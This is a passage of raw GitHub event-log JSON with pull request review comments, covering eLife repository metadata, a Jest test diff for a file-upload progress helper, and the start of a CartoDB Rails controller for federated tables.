ls/git/refs{/sha}","trees_url":"https://api.github.com/repos/elifesciences/elife-tools/git/trees{/sha}","statuses_url":"https://api.github.com/repos/elifesciences/elife-tools/statuses/{sha}","languages_url":"https://api.github.com/repos/elifesciences/elife-tools/languages","stargazers_url":"https://api.github.com/repos/elifesciences/elife-tools/stargazers","contributors_url":"https://api.github.com/repos/elifesciences/elife-tools/contributors","subscribers_url":"https://api.github.com/repos/elifesciences/elife-tools/subscribers","subscription_url":"https://api.github.com/repos/elifesciences/elife-tools/subscription","commits_url":"https://api.github.com/repos/elifesciences/elife-tools/commits{/sha}","git_commits_url":"https://api.github.com/repos/elifesciences/elife-tools/git/commits{/sha}","comments_url":"https://api.github.com/repos/elifesciences/elife-tools/comments{/number}","issue_comment_url":"https://api.github.com/repos/elifesciences/elife-tools/issues/comments{/number}","contents_url":"https://api.github.com/repos/elifesciences/elife-tools/contents/{+path}","compare_url":"https://api.github.com/repos/elifesciences/elife-tools/compare/{base}...{head}","merges_url":"https://api.github.com/repos/elifesciences/elife-tools/merges","archive_url":"https://api.github.com/repos/elifesciences/elife-tools/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/elifesciences/elife-tools/downloads","issues_url":"https://api.github.com/repos/elifesciences/elife-tools/issues{/number}","pulls_url":"https://api.github.com/repos/elifesciences/elife-tools/pulls{/number}","milestones_url":"https://api.github.com/repos/elifesciences/elife-tools/milestones{/number}","notifications_url":"https://api.github.com/repos/elifesciences/elife-tools/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/elifesciences/elife-tools/labels{/name}","releases_url":"https://api.github.com/repos/elifesciences/elife-tools/releases{/id}","deployments_url":"https://api.github.com/repos/elifesciences/elife-tools/deployments","created_at":"2015-02-04T01:14:41Z","updated_at":"2019-08-07T23:17:53Z","pushed_at":"2019-09-10T00:10:49Z","git_url":"git://github.com/elifesciences/elife-tools.git","ssh_url":"git@github.com:elifesciences/elife-tools.git","clone_url":"https://github.com/elifesciences/elife-tools.git","svn_url":"https://github.com/elifesciences/elife-tools","homepage":null,"size":3845,"stargazers_count":9,"watchers_count":9,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":5,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":7,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":5,"open_issues":7,"watchers":9,"default_branch":"develop"}},"base":{"label":"elifesciences:develop","ref":"develop","sha":"7f6f7d6210a731ec62c26ccbe92e86212e8f982e","user":{"login":"elifesciences","id":1777367,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzczNjc=","avatar_url":"https://avatars2.githubusercontent.com/u/1777367?v=4","gravatar_id":"","url":"https://api.github.com/users/elifesciences","html_url":"https://github.com/elifesciences","followers_url":"https://api.github.com/users/elifesciences/followers","following_url":"https://api.github.com/users/elifesciences/following{/other_user}","gists_url":"https://api.github.com/users/elifesciences/gists{/gist_id}","starred_url":"https://api.github.com/users/elifesciences/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elifesciences/subscriptions","organizations_url":"https://api.github.com/users/elifesciences/orgs","repos_url":"https://api.github.com/users/elifesciences/repos","events_url":"https://api.github.com/users/elifesciences/events{/privacy}","received_events_url":"https://api.github.com/users/elifesciences/received_events","type":"Organization","site_admin":false},"repo":{"id":30274058,"node_id":"MDEwOlJlcG9zaXRvcnkzMDI3NDA1OA==","name":"elife-tools","full_name":"elifesciences/elife-tools","private":false,"owner":{"login":"elifesciences","id":1777367,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzczNjc=","avatar_url":"https://avatars2.githubusercontent.com/u/1777367?v=4","gravatar_id":"","url":"https://api.github.com/users/elifesciences","html_url":"https://github.com/elifesciences","followers_url":"https://api.github.com/users/elifesciences/followers","following_url":"https://api.github.com/users/elifesciences/following{/other_user}","gists_url":"https://api.github.com/users/elifesciences/gists{/gist_id}","starred_url":"https://api.github.com/users/elifesciences/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elifesciences/subscriptions","organizations_url":"https://api.github.com/users/elifesciences/orgs","repos_url":"https://api.github.com/users/elifesciences/repos","events_url":"https://api.github.com/users/elifesciences/events{/privacy}","received_events_url":"https://api.github.com/users/elifesciences/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/elifesciences/elife-tools","description":"Tools for using article data in Python","fork":false,"url":"https://api.github.com/repos/elifesciences/elife-tools","forks_url":"https://api.github.com/repos/elifesciences/elife-tools/forks","keys_url":"https://api.github.com/repos/elifesciences/elife-tools/keys{/key_id}","collaborators_url":"https://api.github.com/repos/elifesciences/elife-tools/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/elifesciences/elife-tools/teams","hooks_url":"https://api.github.com/repos/elifesciences/elife-tools/hooks","issue_events_url":"https://api.github.com/repos/elifesciences/elife-tools/issues/events{/number}","events_url":"https://api.github.com/repos/elifesciences/elife-tools/events","assignees_url":"https://api.github.com/repos/elifesciences/elife-tools/assignees{/user}","branches_url":"https://api.github.com/repos/elifesciences/elife-tools/branches{/branch}","tags_url":"https://api.github.com/repos/elifesciences/elife-tools/tags","blobs_url":"https://api.github.com/repos/elifesciences/elife-tools/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/elifesciences/elife-tools/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/elifesciences/elife-tools/git/refs{/sha}","trees_url":"https://api.github.com/repos/elifesciences/elife-tools/git/trees{/sha}","statuses_url":"https://api.github.com/repos/elifesciences/elife-tools/statuses/{sha}","languages_url":"https://api.github.com/repos/elifesciences/elife-tools/languages","stargazers_url":"https://api.github.com/repos/elifesciences/elife-tools/stargazers","contributors_url":"https://api.github.com/repos/elifesciences/elife-tools/contributors","subscribers_url":"https://api.github.com/repos/elifesciences/elife-tools/subscribers","subscription_url":"https://api.github.com/repos/elifesciences/elife-tools/subscription","commits_url":"https://api.github.com/repos/elifesciences/elife-tools/commits{/sha}","git_commits_url":"https://api.github.com/repos/elifesciences/elife-tools/git/commits{/sha}","comments_url":"https://api.github.com/repos/elifesciences/elife-tools/comments{/number}","issue_comment_url":"https://api.github.com/repos/elifesciences/elife-tools/issues/comments{/number}","contents_url":"https://api.github.com/repos/elifesciences/elife-tools/contents/{+path}","compare_url":"https://api.github.com/repos/elifesciences/elife-tools/compare/{base}...{head}","merges_url":"https://api.github.com/repos/elifesciences/elife-tools/merges","archive_url":"https://api.github.com/repos/elifesciences/elife-tools/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/elifesciences/elife-tools/downloads","issues_url":"https://api.github.com/repos/elifesciences/elife-tools/issues{/number}","pulls_url":"https://api.github.com/repos/elifesciences/elife-tools/pulls{/number}","milestones_url":"https://api.github.com/repos/elifesciences/elife-tools/milestones{/number}","notifications_url":"https://api.github.com/repos/elifesciences/elife-tools/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/elifesciences/elife-tools/labels{/name}","releases_url":"https://api.github.com/repos/elifesciences/elife-tools/releases{/id}","deployments_url":"https://api.github.com/repos/elifesciences/elife-tools/deployments","created_at":"2015-02-04T01:14:41Z","updated_at":"2019-08-07T23:17:53Z","pushed_at":"2019-09-10T00:10:49Z","git_url":"git://github.com/elifesciences/elife-tools.git","ssh_url":"git@github.com:elifesciences/elife-tools.git","clone_url":"https://github.com/elifesciences/elife-tools.git","svn_url":"https://github.com/elifesciences/elife-tools","homepage":null,"size":3845,"stargazers_count":9,"watchers_count":9,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":5,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":7,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":5,"open_issues":7,"watchers":9,"default_branch":"develop"}},"_links":{"self":{"href":"https://api.github.com/repos/elifesciences/elife-tools/pulls/314"},"html":{"href":"https://github.com/elifesciences/elife-tools/pull/314"},"issue":{"href":"https://api.github.com/repos/elifesciences/elife-tools/issues/314"},"comments":{"href":"https://api.github.com/repos/elifesciences/elife-tools/issues/314/comments"},"review_comments":{"href":"https://api.github.com/repos/elifesciences/elife-tools/pulls/314/comments"},"review_comment":{"href":"https://api.github.com/repos/elifesciences/elife-tools/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/elifesciences/elife-tools/pulls/314/commits"},"statuses":{"href":"https://api.github.com/repos/elifesciences/elife-tools/statuses/ddb6b69436232a1187363888a74bc99cfcd36beb"}},"author_association":"MEMBER"}}
|
{
"id": 30274058,
"name": "elifesciences/elife-tools",
"url": "https://api.github.com/repos/elifesciences/elife-tools"
}
|
{
"id": 160299,
"login": "giorgiosironi",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/160299?",
"url": "https://api.github.com/users/giorgiosironi"
}
|
{
"id": 1777367,
"login": "elifesciences",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1777367?",
"url": "https://api.github.com/orgs/elifesciences"
}
| 2019-09-10T08:45:45 |
10383007427
|
{"actor":{"display_login":"giorgiosironi"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/comments/258880997","pull_request_review_id":206245781,"id":258880997,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDI1ODg4MDk5Nw==","diff_hunk":"@@ -90,4 +138,39 @@ describe('FilesHelper Test', () => {\n )\n })\n })\n+\n+ describe('endFileProgress', () => {\n+ jest.useFakeTimers()\n+ const manuscriptId = uuid()\n+ const ON_UPLOAD_PROGRESS = 'ON_UPLOAD_PROGRESS'\n+ const pubsubMock = {\n+ publish: jest.fn(),\n+ }\n+ it('publishes progress as a 100 percent', () => {\n+ const progress = setInterval(() => {}, 10)\n+\n+ FilesHelper.endFileProgress(\n+ pubsubMock,\n+ ON_UPLOAD_PROGRESS,\n+ progress,\n+ manuscriptId,\n+ )\n+ expect(pubsubMock.publish).toHaveBeenCalledWith(\n+ `${ON_UPLOAD_PROGRESS}.${manuscriptId}`,\n+ { manuscriptUploadProgress: 100 },\n+ )\n+ })\n+\n+ it('clears the progress interval', () => {\n+ const progress = setInterval(() => {}, 10)","path":"server/xpub-controller/helpers/files.test.js","position":151,"original_position":151,"commit_id":"41e08a072618b73a38affd06aa4006ea818dfc05","original_commit_id":"41e08a072618b73a38affd06aa4006ea818dfc05","user":{"login":"SemraSh","id":32770804,"node_id":"MDQ6VXNlcjMyNzcwODA0","avatar_url":"https://avatars2.githubusercontent.com/u/32770804?v=4","gravatar_id":"","url":"https://api.github.com/users/SemraSh","html_url":"https://github.com/SemraSh","followers_url":"https://api.github.com/users/SemraSh/followers","following_url":"https://api.github.com/users/SemraSh/following{/other_user}","gists_url":"https://api.github.com/users/SemraSh/gists{/gist_id}","starred_url":"https://api.github.com/users/SemraSh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SemraSh/subscriptions","organizations_url":"https://api.github.com/users/SemraSh/orgs","repos_url":"https://api.github.com/users/SemraSh/repos","events_url":"https://api.github.com/users/SemraSh/events{/privacy}","received_events_url":"https://api.github.com/users/SemraSh/received_events","type":"User","site_admin":false},"body":"in the function endFileProgress gets progress as argument, I think progress makes sense to keep clear what is it that we are ending.","created_at":"2019-02-21T11:07:50Z","updated_at":"2019-02-21T11:07:50Z","html_url":"https://github.com/elifesciences/elife-xpub/pull/1552#discussion_r258880997","pull_request_url":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/1552","author_association":"COLLABORATOR","_links":{"self":{"href":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/comments/258880997"},"html":{"href":"https://github.com/elifesciences/elife-xpub/pull/1552#discussion_r258880997"},"pull_request":{"href":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/1552"}},"in_reply_to_id":258604821},"pull_request":{"url":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/1552","id":254592140,"node_id":"MDExOlB1bGxSZXF1ZXN0MjU0NTkyMTQw","html_url":"https://github.com/elifesciences/elife-xpub/pull/1552","diff_url":"https://github.com/elifesciences/elife-xpub/pull/1552.diff","patch_url":"https://github.com/elifesciences/elife-xpub/pull/1552.patch","issue_url":"https://api.github.com/repos/elifesciences/elife-xpub/issues/1552","number":1552,"state":"open","locked":false,"title":"1520 Test xpub controller helpers","user":{"login":"SemraSh","id":32770804,"node_id":"MDQ6VXNlcjMyNzcwODA0","avatar_url":"https://avatars2.githubusercontent.com/u/32770804?v=4","gravatar_id":"","url":"https://api.github.com/users/SemraSh","html_url":"https://github.com/SemraSh","followers_url":"https://api.github.com/users/SemraSh/followers","following_url":"https://api.github.com/users/SemraSh/following{/other_user}","gists_url":"https://api.github.com/users/SemraSh/gists{/gist_id}","starred_url":"https://api.github.com/users/SemraSh/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/SemraSh/subscriptions","organizations_url":"https://api.github.com/users/SemraSh/orgs","repos_url":"https://api.github.com/users/SemraSh/repos","events_url":"https://api.github.com/users/SemraSh/events{/privacy}","received_events_url":"https://api.github.com/users/SemraSh/received_events","type":"User","site_admin":false},"body":"#### Background\r\nAdds test coverage for helpers in xpub controller\r\n\r\n#### How has this been tested?\r\nthis is adding tests\r\n\r\n- [x] Unit / Integration tests\r\n\r\n","created_at":"2019-02-20T11:04:32Z","updated_at":"2019-02-21T11:07:50Z","closed_at":null,"merged_at":null,"merge_commit_sha":"d8c62cfd21db8bdc666e1b88c255e4552e2ac813","assignee":null,"assignees":[],"requested_reviewers":[],"requested_teams":[],"labels":[],"milestone":null,"commits_url":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/1552/commits","review_comments_url":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/1552/comments","review_comment_url":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/comments{/number}","comments_url":"https://api.github.com/repos/elifesciences/elife-xpub/issues/1552/comments","statuses_url":"https://api.github.com/repos/elifesciences/elife-xpub/statuses/41e08a072618b73a38affd06aa4006ea818dfc05","head":{"label":"elifesciences:1520_test-controller-helpers","ref":"1520_test-controller-helpers","sha":"41e08a072618b73a38affd06aa4006ea818dfc05","user":{"login":"elifesciences","id":1777367,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzczNjc=","avatar_url":"https://avatars2.githubusercontent.com/u/1777367?v=4","gravatar_id":"","url":"https://api.github.com/users/elifesciences","html_url":"https://github.com/elifesciences","followers_url":"https://api.github.com/users/elifesciences/followers","following_url":"https://api.github.com/users/elifesciences/following{/other_user}","gists_url":"https://api.github.com/users/elifesciences/gists{/gist_id}","starred_url":"https://api.github.com/users/elifesciences/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elifesciences/subscriptions","organizations_url":"https://api.github.com/users/elifesciences/orgs","repos_url":"https://api.github.com/users/elifesciences/repos","events_url":"https://api.github.com/users/elifesciences/events{/privacy}","received_events_url":"https://api.github.com/users/elifesciences/received_events","type":"Organization","site_admin":false},"repo":{"id":100492246,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA0OTIyNDY=","name":"elife-xpub","full_name":"elifesciences/elife-xpub","private":false,"owner":{"login":"elifesciences","id":1777367,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzczNjc=","avatar_url":"https://avatars2.githubusercontent.com/u/1777367?v=4","gravatar_id":"","url":"https://api.github.com/users/elifesciences","html_url":"https://github.com/elifesciences","followers_url":"https://api.github.com/users/elifesciences/followers","following_url":"https://api.github.com/users/elifesciences/following{/other_user}","gists_url":"https://api.github.com/users/elifesciences/gists{/gist_id}","starred_url":"https://api.github.com/users/elifesciences/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elifesciences/subscriptions","organizations_url":"https://api.github.com/users/elifesciences/orgs","repos_url":"https://api.github.com/users/elifesciences/repos","events_url":"https://api.github.com/users/elifesciences/events{/privacy}","received_events_url":"https://api.github.com/users/elifesciences/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/elifesciences/elife-xpub","description":"eLife is an open-access journal and technology provider that publishes promising research in the life and biomedical sciences. This is their implementation of a submission and peer review system based on Coko PubSweet and xPub.","fork":false,"url":"https://api.github.com/repos/elifesciences/elife-xpub","forks_url":"https://api.github.com/repos/elifesciences/elife-xpub/forks","keys_url":"https://api.github.com/repos/elifesciences/elife-xpub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/elifesciences/elife-xpub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/elifesciences/elife-xpub/teams","hooks_url":"https://api.github.com/repos/elifesciences/elife-xpub/hooks","issue_events_url":"https://api.github.com/repos/elifesciences/elife-xpub/issues/events{/number}","events_url":"https://api.github.com/repos/elifesciences/elife-xpub/events","assignees_url":"https://api.github.com/repos/elifesciences/elife-xpub/assignees{/user}","branches_url":"https://api.github.com/repos/elifesciences/elife-xpub/branches{/branch}","tags_url":"https://api.github.com/repos/elifesciences/elife-xpub/tags","blobs_url":"https://api.github.com/repos/elifesciences/elife-xpub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/elifesciences/elife-xpub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/elifesciences/elife-xpub/git/refs{/sha}","trees_url":"https://api.github.com/repos/elifesciences/elife-xpub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/elifesciences/elife-xpub/statuses/{sha}","languages_url":"https://api.github.com/repos/elifesciences/elife-xpub/languages","stargazers_url":"https://api.github.com/repos/elifesciences/elife-xpub/stargazers","contributors_url":"https://api.github.com/repos/elifesciences/elife-xpub/contributors","subscribers_url":"https://api.github.com/repos/elifesciences/elife-xpub/subscribers","subscription_url":"https://api.github.com/repos/elifesciences/elife-xpub/subscription","commits_url":"https://api.github.com/repos/elifesciences/elife-xpub/commits{/sha}","git_commits_url":"https://api.github.com/repos/elifesciences/elife-xpub/git/commits{/sha}","comments_url":"https://api.github.com/repos/elifesciences/elife-xpub/comments{/number}","issue_comment_url":"https://api.github.com/repos/elifesciences/elife-xpub/issues/comments{/number}","contents_url":"https://api.github.com/repos/elifesciences/elife-xpub/contents/{+path}","compare_url":"https://api.github.com/repos/elifesciences/elife-xpub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/elifesciences/elife-xpub/merges","archive_url":"https://api.github.com/repos/elifesciences/elife-xpub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/elifesciences/elife-xpub/downloads","issues_url":"https://api.github.com/repos/elifesciences/elife-xpub/issues{/number}","pulls_url":"https://api.github.com/repos/elifesciences/elife-xpub/pulls{/number}","milestones_url":"https://api.github.com/repos/elifesciences/elife-xpub/milestones{/number}","notifications_url":"https://api.github.com/repos/elifesciences/elife-xpub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/elifesciences/elife-xpub/labels{/name}","releases_url":"https://api.github.com/repos/elifesciences/elife-xpub/releases{/id}","deployments_url":"https://api.github.com/repos/elifesciences/elife-xpub/deployments","created_at":"2017-08-16T13:26:53Z","updated_at":"2019-02-20T09:14:27Z","pushed_at":"2019-02-20T17:38:36Z","git_url":"git://github.com/elifesciences/elife-xpub.git","ssh_url":"git@github.com:elifesciences/elife-xpub.git","clone_url":"https://github.com/elifesciences/elife-xpub.git","svn_url":"https://github.com/elifesciences/elife-xpub","homepage":"https://elifesciences.org/","size":8473,"stargazers_count":19,"watchers_count":19,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":2,"mirror_url":null,"archived":false,"open_issues_count":241,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":2,"open_issues":241,"watchers":19,"default_branch":"develop"}},"base":{"label":"elifesciences:develop","ref":"develop","sha":"9601d498621db9ca1fd43beccb69001b9e2a9c3e","user":{"login":"elifesciences","id":1777367,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzczNjc=","avatar_url":"https://avatars2.githubusercontent.com/u/1777367?v=4","gravatar_id":"","url":"https://api.github.com/users/elifesciences","html_url":"https://github.com/elifesciences","followers_url":"https://api.github.com/users/elifesciences/followers","following_url":"https://api.github.com/users/elifesciences/following{/other_user}","gists_url":"https://api.github.com/users/elifesciences/gists{/gist_id}","starred_url":"https://api.github.com/users/elifesciences/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elifesciences/subscriptions","organizations_url":"https://api.github.com/users/elifesciences/orgs","repos_url":"https://api.github.com/users/elifesciences/repos","events_url":"https://api.github.com/users/elifesciences/events{/privacy}","received_events_url":"https://api.github.com/users/elifesciences/received_events","type":"Organization","site_admin":false},"repo":{"id":100492246,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA0OTIyNDY=","name":"elife-xpub","full_name":"elifesciences/elife-xpub","private":false,"owner":{"login":"elifesciences","id":1777367,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE3NzczNjc=","avatar_url":"https://avatars2.githubusercontent.com/u/1777367?v=4","gravatar_id":"","url":"https://api.github.com/users/elifesciences","html_url":"https://github.com/elifesciences","followers_url":"https://api.github.com/users/elifesciences/followers","following_url":"https://api.github.com/users/elifesciences/following{/other_user}","gists_url":"https://api.github.com/users/elifesciences/gists{/gist_id}","starred_url":"https://api.github.com/users/elifesciences/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elifesciences/subscriptions","organizations_url":"https://api.github.com/users/elifesciences/orgs","repos_url":"https://api.github.com/users/elifesciences/repos","events_url":"https://api.github.com/users/elifesciences/events{/privacy}","received_events_url":"https://api.github.com/users/elifesciences/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/elifesciences/elife-xpub","description":"eLife is an open-access journal and technology provider that publishes promising research in the life and biomedical sciences. This is their implementation of a submission and peer review system based on Coko PubSweet and xPub.","fork":false,"url":"https://api.github.com/repos/elifesciences/elife-xpub","forks_url":"https://api.github.com/repos/elifesciences/elife-xpub/forks","keys_url":"https://api.github.com/repos/elifesciences/elife-xpub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/elifesciences/elife-xpub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/elifesciences/elife-xpub/teams","hooks_url":"https://api.github.com/repos/elifesciences/elife-xpub/hooks","issue_events_url":"https://api.github.com/repos/elifesciences/elife-xpub/issues/events{/number}","events_url":"https://api.github.com/repos/elifesciences/elife-xpub/events","assignees_url":"https://api.github.com/repos/elifesciences/elife-xpub/assignees{/user}","branches_url":"https://api.github.com/repos/elifesciences/elife-xpub/branches{/branch}","tags_url":"https://api.github.com/repos/elifesciences/elife-xpub/tags","blobs_url":"https://api.github.com/repos/elifesciences/elife-xpub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/elifesciences/elife-xpub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/elifesciences/elife-xpub/git/refs{/sha}","trees_url":"https://api.github.com/repos/elifesciences/elife-xpub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/elifesciences/elife-xpub/statuses/{sha}","languages_url":"https://api.github.com/repos/elifesciences/elife-xpub/languages","stargazers_url":"https://api.github.com/repos/elifesciences/elife-xpub/stargazers","contributors_url":"https://api.github.com/repos/elifesciences/elife-xpub/contributors","subscribers_url":"https://api.github.com/repos/elifesciences/elife-xpub/subscribers","subscription_url":"https://api.github.com/repos/elifesciences/elife-xpub/subscription","commits_url":"https://api.github.com/repos/elifesciences/elife-xpub/commits{/sha}","git_commits_url":"https://api.github.com/repos/elifesciences/elife-xpub/git/commits{/sha}","comments_url":"https://api.github.com/repos/elifesciences/elife-xpub/comments{/number}","issue_comment_url":"https://api.github.com/repos/elifesciences/elife-xpub/issues/comments{/number}","contents_url":"https://api.github.com/repos/elifesciences/elife-xpub/contents/{+path}","compare_url":"https://api.github.com/repos/elifesciences/elife-xpub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/elifesciences/elife-xpub/merges","archive_url":"https://api.github.com/repos/elifesciences/elife-xpub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/elifesciences/elife-xpub/downloads","issues_url":"https://api.github.com/repos/elifesciences/elife-xpub/issues{/number}","pulls_url":"https://api.github.com/repos/elifesciences/elife-xpub/pulls{/number}","milestones_url":"https://api.github.com/repos/elifesciences/elife-xpub/milestones{/number}","notifications_url":"https://api.github.com/repos/elifesciences/elife-xpub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/elifesciences/elife-xpub/labels{/name}","releases_url":"https://api.github.com/repos/elifesciences/elife-xpub/releases{/id}","deployments_url":"https://api.github.com/repos/elifesciences/elife-xpub/deployments","created_at":"2017-08-16T13:26:53Z","updated_at":"2019-02-20T09:14:27Z","pushed_at":"2019-02-20T17:38:36Z","git_url":"git://github.com/elifesciences/elife-xpub.git","ssh_url":"git@github.com:elifesciences/elife-xpub.git","clone_url":"https://github.com/elifesciences/elife-xpub.git","svn_url":"https://github.com/elifesciences/elife-xpub","homepage":"https://elifesciences.org/","size":8473,"stargazers_count":19,"watchers_count":19,"language":"JavaScript","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":2,"mirror_url":null,"archived":false,"open_issues_count":241,"license":{"key":"mit","name":"MIT License","spdx_id":"MIT","url":"https://api.github.com/licenses/mit","node_id":"MDc6TGljZW5zZTEz"},"forks":2,"open_issues":241,"watchers":19,"default_branch":"develop"}},"_links":{"self":{"href":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/1552"},"html":{"href":"https://github.com/elifesciences/elife-xpub/pull/1552"},"issue":{"href":"https://api.github.com/repos/elifesciences/elife-xpub/issues/1552"},"comments":{"href":"https://api.github.com/repos/elifesciences/elife-xpub/issues/1552/comments"},"review_comments":{"href":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/1552/comments"},"review_comment":{"href":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/comments{/number}"},"commits":{"href":"https://api.github.com/repos/elifesciences/elife-xpub/pulls/1552/commits"},"statuses":{"href":"https://api.github.com/repos/elifesciences/elife-xpub/statuses/41e08a072618b73a38affd06aa4006ea818dfc05"}},"author_association":"COLLABORATOR"}}
|
{
"id": 100492246,
"name": "elifesciences/elife-xpub",
"url": "https://api.github.com/repos/elifesciences/elife-xpub"
}
|
{
"id": 32770804,
"login": "SemraSh",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/32770804?",
"url": "https://api.github.com/users/SemraSh"
}
|
{
"id": 1777367,
"login": "elifesciences",
"gravatar_id": "",
"avatar_url": "https://avatars.githubusercontent.com/u/1777367?",
"url": "https://api.github.com/orgs/elifesciences"
}
| 2019-02-21T11:07:50 |
9109451626
|
{"actor":{"display_login":"SemraSh"}}
|
PullRequestReviewCommentEvent
| true |
{"action":"created","comment":{"url":"https://api.github.com/repos/CartoDB/cartodb/pulls/comments/343674974","pull_request_review_id":313371441,"id":343674974,"node_id":"MDI0OlB1bGxSZXF1ZXN0UmV2aWV3Q29tbWVudDM0MzY3NDk3NA==","diff_hunk":"@@ -0,0 +1,208 @@\n+module Carto\n+ module Api\n+ module Public\n+ class FederatedTablesController < Carto::Api::Public::ApplicationController\n+ include Carto::Api::PagedSearcher\n+ include Carto::ControllerHelper\n+ extend Carto::DefaultRescueFroms\n+\n+ VALID_ORDER_PARAMS_FEDERATED_SERVER = %i(federated_server_name).freeze\n+ VALID_ORDER_PARAMS_REMOTE_SCHEMA = %i(remote_schema_name).freeze\n+ VALID_ORDER_PARAMS_REMOTE_TABLE = %i(remote_table_name).freeze\n+\n+ FEDERATED_SERVER_ATTRIBUTES = %i(federated_server_name mode dbname host port username password).freeze\n+ REMOTE_TABLE_ATTRIBUTES = %i(federated_server_name remote_schema_name remote_table_name local_table_name_override id_column_name geom_column_name webmercator_column_name).freeze\n+\n+ before_action :load_user\n+ before_action :load_service\n+ before_action only: [:list_federated_servers] do\n+ load_pagination_params(default_order: 'federated_server_name', valid_order_params: VALID_ORDER_PARAMS_FEDERATED_SERVER)\n+ end\n+ before_action only: [:list_remote_schemas] do\n+ load_pagination_params(default_order: 'remote_schema_name', valid_order_params: VALID_ORDER_PARAMS_REMOTE_SCHEMA)\n+ end\n+ before_action only: [:list_remote_tables] do\n+ load_pagination_params(default_order: 'remote_table_name', valid_order_params: VALID_ORDER_PARAMS_REMOTE_TABLE)\n+ end\n+ before_action :check_permissions\n+ before_action :load_federated_server_attributes, only: [:register_federated_server, :update_federated_server ]\n+ before_action :load_federated_server, only: [:update_federated_server, :unregister_federated_server, :show_federated_server]\n+ before_action :check_federated_server, only: [:unregister_federated_server, :show_federated_server]\n+ before_action :check_federated_server_attributes, only: [:register_federated_server, :update_federated_server]\n+ before_action :load_remote_table_attributes, only: [:register_remote_table, :update_remote_table ]\n+ before_action :load_remote_table, only: [:update_remote_table, :unregister_remote_table, :show_remote_table]\n+ before_action :check_remote_table, only: [:unregister_remote_table, :show_remote_table]\n+ before_action :check_remote_table_attributes, only: [:register_remote_table, :update_remote_table]\n+\n+ setup_default_rescues\n+\n+ # Federated Servers\n+\n+ def list_federated_servers\n+ result = @service.list_servers(@pagination)\n+ total = @service.count_servers()\n+\n+ render_paged(result, total)\n+ end\n+\n+ def register_federated_server\n+ federated_server = @service.register_server(@federated_server_attributes)\n+ response.headers['Content-Location'] = \"#{request.path}/#{federated_server[:federated_server_name]}\"\n+ render_jsonp({}, 